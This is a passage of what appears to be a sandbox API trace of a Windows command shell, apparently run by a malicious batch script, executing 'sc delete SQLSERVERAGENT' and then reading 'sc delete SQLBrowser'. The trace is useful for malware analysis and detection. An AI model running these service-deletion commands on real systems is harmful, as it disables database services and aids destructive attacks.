Size=0x12) returned 0x2589d0 [0074.275] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete SQLSERVERAGENT", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete SQLSERVERAGENT", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete SQLSERVERAGENT", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0x9b4, dwThreadId=0x9c4)) returned 1 [0074.279] CloseHandle (hObject=0x50) returned 1 [0074.279] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0074.279] GetProcessHeap () returned 0x240000 [0074.279] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0074.279] GetEnvironmentStringsW () returned 0x25ba10* [0074.279] GetProcessHeap () returned 0x240000 [0074.279] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0074.279] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0074.279] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0074.279] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0074.280] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0074.617] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0074.617] CloseHandle (hObject=0x54) returned 1 [0074.617] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0074.617] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0074.617] GetProcessHeap () returned 0x240000 [0074.617] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0074.617] GetEnvironmentStringsW () returned 0x261b10* [0074.617] GetProcessHeap () returned 0x240000 [0074.617] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0074.617] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0074.617] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0074.617] GetProcessHeap () returned 0x240000 [0074.617] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0074.617] GetEnvironmentStringsW () returned 0x25ba10* [0074.617] GetProcessHeap () returned 0x240000 [0074.617] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0074.617] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0074.617] GetProcessHeap () returned 0x240000 [0074.617] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0074.618] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0074.618] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0074.618] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.618] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0074.618] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.618] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0074.618] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.618] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0074.619] GetConsoleOutputCP () returned 0x1b5 [0074.619] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0074.619] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.619] GetProcessHeap () returned 0x240000 [0074.619] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0074.619] GetProcessHeap () returned 0x240000 [0074.619] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0074.619] GetProcessHeap () returned 0x240000 [0074.619] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0074.619] GetProcessHeap () returned 0x240000 [0074.619] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c530 | out: hHeap=0x240000) returned 1 [0074.619] GetProcessHeap () returned 0x240000 [0074.619] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa90 | out: hHeap=0x240000) returned 1 [0074.619] GetProcessHeap () returned 0x240000 [0074.619] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0074.619] GetProcessHeap () returned 0x240000 [0074.619] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0074.619] GetProcessHeap () returned 0x240000 [0074.620] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0074.620] GetProcessHeap () returned 0x240000 [0074.620] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0074.620] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0074.620] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.620] GetFileType (hFile=0x120) returned 0x3 [0074.620] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.620] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0074.620] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0074.620] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0074.620] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0074.620] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0074.620] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0074.620] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.620] GetFileType (hFile=0x120) returned 0x3 [0074.620] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.620] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0074.620] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0074.620] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.620] GetFileType (hFile=0xb8) returned 0x3 [0074.620] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.621] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.621] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.621] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete SQLSERVERAGENT\n\nce\n") returned 1 [0074.621] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.621] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.621] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.621] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete SQLSERVERAGENT\n\nce\n") returned 1 [0074.621] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.621] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.621] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.621] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete SQLSERVERAGENT\n\nce\n") returned 1 [0074.621] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.621] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.621] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.621] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete SQLSERVERAGENT\n\nce\n") returned 1 [0074.621] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.621] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.621] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.621] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete SQLSERVERAGENT\n\nce\n") returned 1 [0074.621] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.621] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.621] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.621] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete SQLSERVERAGENT\n\nce\n") returned 1 [0074.621] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.622] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.622] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.622] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete SQLSERVERAGENT\n\nce\n") returned 1 [0074.622] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.622] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.622] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.622] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te SQLSERVERAGENT\n\nce\n") returned 1 [0074.622] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.622] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.622] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.622] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e SQLSERVERAGENT\n\nce\n") returned 1 [0074.622] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.622] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.622] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.622] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" SQLSERVERAGENT\n\nce\n") returned 1 [0074.622] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.622] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.622] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.622] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="SQLSERVERAGENT\n\nce\n") returned 1 [0074.622] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.622] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.622] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.622] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="QLSERVERAGENT\n\nce\n") returned 1 [0074.622] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.623] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.623] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.623] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="LSERVERAGENT\n\nce\n") returned 1 [0074.623] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.623] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.623] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.623] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="BERVERAGENT\n\nce\n") returned 1 [0074.623] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.623] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.623] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.623] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="rRVERAGENT\n\nce\n") returned 1 [0074.623] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.623] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.623] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.623] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="oVERAGENT\n\nce\n") returned 1 [0074.623] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.623] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.623] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.623] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="wERAGENT\n\nce\n") returned 1 [0074.623] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.623] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.624] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.624] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="sRAGENT\n\nce\n") returned 1 [0074.624] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.624] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.624] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.624] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="eAGENT\n\nce\n") returned 1 [0074.624] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.624] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.624] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.624] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="rGENT\n\nce\n") returned 1 [0074.624] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.624] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.624] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.624] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="\nENT\n\nce\n") returned 1 [0074.624] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.624] GetFileType (hFile=0xb8) returned 0x3 [0074.624] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.624] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.624] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.624] GetFileType (hFile=0x120) returned 0x3 [0074.624] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.624] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete SQLBrowser\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete SQLBrowser\n", lpUsedDefaultChar=0x0) returned 22 [0074.624] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x15, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x15, lpOverlapped=0x0) returned 1 [0074.624] GetProcessHeap () returned 0x240000 [0074.625] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x266630 [0074.625] GetProcessHeap () returned 0x240000 [0074.625] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x266630 | out: hHeap=0x240000) returned 1 [0074.625] GetProcessHeap () returned 0x240000 [0074.625] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0074.625] GetProcessHeap () returned 0x240000 [0074.625] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0074.625] GetProcessHeap () returned 0x240000 [0074.625] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x36) returned 0x256510 [0074.625] GetConsoleOutputCP () returned 0x1b5 [0074.625] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0074.625] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.625] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0074.626] GetProcessHeap () returned 0x240000 [0074.626] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0074.626] GetProcessHeap () returned 0x240000 [0074.626] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3c) returned 0x25aa40 [0074.626] GetProcessHeap () returned 0x240000 [0074.626] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25ba10 [0074.626] SetErrorMode (uMode=0x0) returned 0x1 [0074.626] SetErrorMode (uMode=0x1) returned 0x0 [0074.626] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25ba20, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0074.626] SetErrorMode (uMode=0x1) returned 0x1 [0074.626] GetProcessHeap () returned 0x240000 [0074.626] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba10, Size=0x62) returned 0x25ba10 [0074.626] GetProcessHeap () returned 0x240000 [0074.626] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x62 [0074.626] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: 